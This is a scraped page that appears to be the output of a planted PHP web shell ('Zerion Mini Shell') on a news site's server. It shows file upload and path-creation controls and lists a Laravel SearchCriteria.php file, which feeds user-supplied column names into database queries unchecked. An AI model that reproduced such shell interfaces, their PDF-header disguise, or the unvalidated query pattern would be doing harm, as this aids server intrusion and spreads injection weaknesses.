%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Repositories/Base/Criteria/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Repositories/Base/Criteria/SearchCriteria.php

<?php

namespace App\Repositories\Base\Criteria;

use Illuminate\Database\Eloquent\Builder as EloquentBuilder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Query\Builder as DatabaseBuilder;
use Watson\Rememberable\Query\Builder as RememberableBuilder;

/**
 * Class OrderByCriteria
 */
class SearchCriteria extends BaseCriteria
{
    /**
     * @param Model|DatabaseBuilder|EloquentBuilder|RememberableBuilder $model
     *
     * @return mixed
     */
    protected function applyToQuery($model)
    {
        if ($this->request->has('search')) {
            $searchable = explode(";", $this->request->get('search'));
            foreach ($searchable as $value) {
                $q = explode(":", $value);
                $key = $q[0];
                $operator = $this->parseOperator($q[1]);
                if ($operator ==='like') {
                    $value = "%{$q[2]}%";
                } else {
                    $value = $q[2];
                }
                $model = $model->where($key, $operator, $value);
            }
        }
        return $model;
    }

    private function parseOperator($operator)
    {
        switch ($operator){
            case 'like': return 'like'; break;
            case 'eq': return '='; break;
            case 'ne': return '<>'; break;
            case 'l': return '<'; break;
            case 'g': return '>'; break;
            case 'ge': return '>='; break;
            case 'le': return '<='; break;
        }
    }
}

Zerion Mini Shell 1.0